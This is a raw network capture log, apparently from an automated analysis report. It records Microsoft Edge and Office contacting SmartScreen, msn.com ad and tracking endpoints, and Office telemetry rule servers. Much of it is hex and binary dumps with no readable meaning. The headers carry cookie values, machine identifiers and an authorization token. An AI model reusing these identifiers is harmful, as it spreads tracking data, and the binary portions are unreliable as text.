PNGIHDR>iCCPICC ProfileHWXS[ "%ZE*vtQU(XPP]y+\|339s2O$T\q46$9&9I(P@$@@UG?k K\|t0@qWqQr n
2024-11-11 20:59:23 UTC	4945	IN	Data Raw: 3d f7 52 13 58 62 fb e9 21 5b 75 03 17 1c 54 6d 19 c9 a8 68 28 42 9d 72 18 59 2e 37 2a 0c 62 39 95 49 f4 d3 4f 3f dd 5c 95 c7 7f 5e 26 47 55 66 a3 ea 36 56 f1 51 09 75 c5 13 0a 63 96 51 3e 61 c6 4e 30 31 02 fb 25 ac ba ef f1 51 a3 42 71 d6 c4 60 4d d0 b4 22 a3 45 5b 46 7d 48 2d fb 24 ab b3 11 2c 12 46 4c d6 28 60 28 2f fd 89 ad 4e 3b ed b4 70 0a 37 30 5d 55 33 e8 8b ab f4 61 23 b0 4f 04 f6 4b 58 2e 2f c8 4a 25 4c 43 94 67 ef b3 5a 9d fd c0 11 18 09 68 2c 3c 41 d3 0e 86 ab 53 52 ba 3f f9 a6 85 af a7 7b ea 87 ad bc 55 63 45 55 e2 a9 dc ba b0 55 85 57 e3 55 5a 6e 04 0e 04 81 03 20 ac 72 d0 12 0e a4 66 5d c8 c1 22 50 bc b3 28 36 fa d0 96 53 95 ac 04 4a 67 05 4d 1e e7 99 a2 fa ae ef fa 2e 2f d3 58 05 2a c8 0a 49 b9 63 89 ac 13 61 49 46 40 5b 8b 77 92 17 17 ed Data Ascii: =RXb![uTmh(BrY.7b9IO?\^&GUf6VQucQ>aN01%QBq`M"E[F}H-$,FL(`(/N;p70]U3a#OKX./J%LCgZh,<ASR?{UcEUUWUZn rf]"P(6SJgM./XIcaIF@[w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	58769	52.228.161.161	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:23 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5Ijoib2d5ZitwZmhPbGdvdTlWMEVvTGloUT09IiwgImhhc2giOiJ3dHRYUnpCTFNSST0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-11 20:59:23 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-11 20:59:23 UTC	248	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:21 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:a302ffdc-66e2-4f15-929a-164afd2d2584
2024-11-11 20:59:23 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	58777	20.110.205.119	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:23 UTC	1261	OUT	GET /c.gif?rnd=1731358760997&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0c3054038b4c4f29955c63eaffb76002&activityId=0c3054038b4c4f29955c63eaffb76002&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=57EEA38E2A8F4411B12610F0A2EF9718&MUID=1BD2121F17CE6DB91D24072B16C96CCE HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1BD2121F17CE6DB91D24072B16C96CCE; _EDGE_S=F=1&SID=20295578219E60AA12F3404C2065619B; _EDGE_V=1; SM=T
2024-11-11 20:59:23 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=1BD2121F17CE6DB91D24072B16C96CCE; domain=.msn.com; expires=Sat, 06-Dec-2025 20:59:23 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=1BD2121F17CE6DB91D24072B16C96CCE; domain=c.msn.com; expires=Sat, 06-Dec-2025 20:59:23 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Mon, 18-Nov-2024 20:59:23 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Mon, 11-Nov-2024 21:09:23 GMT; path=/; SameSite=None; Secure; Date: Mon, 11 Nov 2024 20:59:23 GMT Connection: close Content-Length: 42
2024-11-11 20:59:23 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	58770	20.96.153.111	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:23 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1BD2121F17CE6DB91D24072B16C96CCE&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=0b49f2dd8eee4d659e71d5fe5b034a07 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1BD2121F17CE6DB91D24072B16C96CCE; _EDGE_S=F=1&SID=20295578219E60AA12F3404C2065619B; _EDGE_V=1
2024-11-11 20:59:23 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2687 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132590-T700343875-C128000000002115989+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002115989+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 11 Nov 2024 20:59:23 GMT Connection: close
2024-11-11 20:59:23 UTC	2687	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 45 6c 20 43 68 61 6c 74 c3 a9 6e 2c 20 41 72 67 65 6e 74 69 6e 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 45 6c 2b 43 68 61 6c 74 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"El Chaltn, Argentina\",\"cta\":\"https:\/\/www.bing.com\/search?q=El+Chalt

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	58779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:23 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5eaa081d-f01e-0099-68d5-339171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205923Z-174f7845968vqt9xhC1EWRgten00000005f000000000hb7v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	58778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:23 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 186f8a49-401e-005b-46d5-339c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205923Z-174f7845968vwdr7hC1EWRsh3w00000005f000000000573s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	58781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:23 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:23 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 8377dffe-c01e-00a1-6ad5-337e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205923Z-174f78459684bddphC1EWRbht4000000056g00000000bz73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:23 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	58780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:23 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 072c0228-901e-00ac-3ad5-33b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205923Z-174f78459685m244hC1EWRgp2c000000059000000000fd7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	58784	23.57.90.101	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:23 UTC	634	OUT	GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:24 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 30 Oct 2024 15:00:48 GMT X-Datacenter: westus X-ActivityId: f56ff185-3ad6-4311-95ad-194a52089168 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MSkH X-Source-Length: 293132 Content-Length: 293132 Cache-Control: public, max-age=151495 Expires: Wed, 13 Nov 2024 15:04:18 GMT Date: Mon, 11 Nov 2024 20:59:23 GMT Connection: close
2024-11-11 20:59:24 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: fc ab 26 f3 f4 a4 69 4b 80 a9 51 5a 4f 81 92 a4 15 1c 64 7d ab 6e 64 d8 52 68 23 71 f5 15 95 c1 a5 6c d6 0d c7 19 0c cb 00 29 58 04 82 35 33 6f bf c6 a4 c9 53 0d 28 d5 e7 36 f7 b3 66 24 b0 65 a0 d5 79 4e ca ac 0f f1 d4 47 cb 27 f5 fd 6a 7a 64 0a 7e 6f 0a c2 9a a7 6d e7 ad 1a 5c 2f a1 9e af 90 8e 0d 8d b6 e8 ac fb cb a0 b9 ac ea 87 5d ba fd ce bd 01 0f a7 ae 06 37 22 e1 10 a4 30 d4 93 f3 4f 21 48 80 38 fc 28 75 72 76 ef a5 6d ea 1e 9b ba 19 bc 25 c0 8f 07 8c e5 84 72 a6 d5 c0 fe 2b 1f da 40 8f 88 a5 51 48 1e 97 fd 46 12 c0 e2 2c 18 15 d4 1a 6d 1f 12 4f 44 b6 d8 01 a4 89 e7 02 3e 14 d2 aa 76 09 c6 6e be a4 b3 9e b4 3d d0 d1 69 6d 6c 6f 23 67 65 55 2a a2 57 7d ec 40 06 c6 fa 4f 08 d6 a3 c9 26 ff 00 5a 04 54 35 39 5b 79 d3 d7 fc fe 46 e6 ab a0 ea d8 23 a1 c3 Data Ascii: &iKQZOd}ndRh#ql)X53oS(6f$eyNG'jzd~om\/]7"0O!H8(urvm%r+@QHF,mOD>vn=imlo#geU*W}@O&ZT59[yF#
2024-11-11 20:59:24 UTC	2325	IN	Data Raw: 42 72 ea 3e ae cb 15 1b 59 a2 21 51 37 96 31 36 31 f1 fe 95 49 94 2a a9 53 25 38 95 b3 73 02 f7 8f 8d 73 b6 95 52 ea 44 d3 b8 f5 06 f3 b8 f4 b3 e4 41 7b 7c b7 b4 de 20 5f f4 b9 f2 a6 f1 e6 ca ac a5 48 95 ea 55 e0 a3 fd dc c4 f0 34 06 d2 79 c6 37 1f b9 08 ce 32 53 dd 57 90 7e 07 e3 90 59 71 36 d4 05 76 c0 81 a8 13 73 79 13 27 5f 4a 79 99 0e 41 93 31 f7 42 11 20 23 00 b7 9d b0 63 a4 dc 6b 42 8a 8c a4 e9 e7 cf f4 11 5a 8d 46 2a 2f cb 56 fc b6 af 20 f4 fe 3a 04 4c 98 71 e3 21 0a 64 b8 b3 02 a7 a7 9f a8 a6 bb ef 64 c3 63 d8 24 4c 20 8d 49 b7 97 9d 69 d1 e4 5f f5 f5 e6 db c7 52 68 e3 23 a6 0b b4 c0 3b 8c 8c 90 5b e6 8d b0 09 81 3a 9d 05 a8 28 71 a0 05 99 8d e0 85 24 12 0e b7 fa 89 f8 53 d6 99 2a e4 77 37 a9 f0 48 c5 6a 26 a4 9e 7e 45 69 84 88 96 53 d4 66 d3 1e Data Ascii: Br>Y!Q7161IS%8ssRDA{\| _HU4y72SW~Yq6vsy'_JyA1B #ckBZF/V :Lq!ddc$L Ii_Rh#;[:(q$S*w7Hj&~EiSf
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: f5 70 83 23 89 b1 bd 4f ee 77 b6 41 db bb 97 52 61 a0 41 9d 63 97 a4 7e b4 1e 58 eb 8b a2 a7 82 71 82 5e 05 68 0e a7 6e 46 76 00 dc 02 4d f5 1c 08 b4 53 5d b3 10 d9 31 62 3b 91 34 7f 95 c1 1c 35 21 88 1c 44 69 44 97 e4 2b d9 bf e8 77 2c a3 be e6 4c f8 f7 3e 22 84 a3 29 50 26 e0 6a a4 9f eb 4c b3 3a c3 cf b8 a4 30 26 c4 18 d0 89 d4 6b 48 92 4f 9d ce 5d 38 2e 45 67 39 db ad d2 47 49 02 48 f8 19 a6 56 06 52 09 80 ac 61 74 b1 1b b8 1e 24 fa 51 9e e2 ec 2b 3b 20 bb b9 8c 56 81 be 24 c5 86 86 fe 35 4f b9 0b b2 4f 23 62 7c 3e f1 4d 11 22 71 c4 95 54 65 75 de 72 0b 41 8e a5 dc 3c 62 60 fa 57 bd b2 ae d7 1b 60 ed b4 9f a5 fc 68 a4 60 db a1 99 2b b8 60 32 1d 84 15 1b 63 c6 39 f0 99 e3 44 7c 4c c8 84 0d 37 6e 1c 24 1a a7 11 64 bc 33 eb 04 9f f7 5e 2b e5 d2 6c 7a 87 Data Ascii: p#OwARaAc~Xq^hnFvMS]1b;45!DiD+w,L>")P&jL:0&kHO]8.Eg9GIHVRat$Q+; 